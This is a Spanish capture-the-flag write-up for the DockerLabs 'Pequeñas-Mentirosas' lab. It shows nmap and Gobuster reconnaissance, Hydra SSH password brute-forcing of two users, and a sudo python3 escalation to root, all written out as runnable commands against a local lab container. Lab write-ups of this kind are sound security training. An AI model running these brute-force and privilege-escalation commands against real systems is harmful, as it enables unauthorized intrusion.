Pequeñas-Mentirosas - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | beafn28 |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 22,80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Accedemos a la página web en el puerto 80. Encontramos un mensaje que dice: “Pista: Encuentra la clave para A en los archivos.” No vemos nada más relevante, por lo que procedemos a realizar fuzzing para encontrar directorios ocultos.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Al no encontrar nada útil, procedemos a un ataque de fuerza bruta contra el usuario a.
Fuerza Bruta
Usamos hydra para intentar obtener la contraseña del usuario a a través de SSH:
hydra -l a -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Obtenemos una coincidencia: la contraseña es secret.
Intrusión como Usuario a
Ingresamos al sistema mediante SSH con el usuario a:
a@172.17.0.2
Exploramos el sistema y notamos la existencia de un usuario llamado spencer. Realizamos fuerza bruta sobre este usuario para descubrir si existe una contraseña.
Fuerza Bruta
Usamos nuevamente hydra para intentar obtener la contraseña del usuario spencer:
hydra -l spencer -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Obtenemos una coincidencia: la contraseña es password1.
Intrusión como Usuario spencer
Accedemos al sistema mediante SSH con el usuario spencer:
Al ejecutar sudo -l, notamos que spencer tiene permisos para ejecutar python3 como root.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Ejecutamos el siguiente comando para escalar privilegios:
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Esto nos da acceso como root: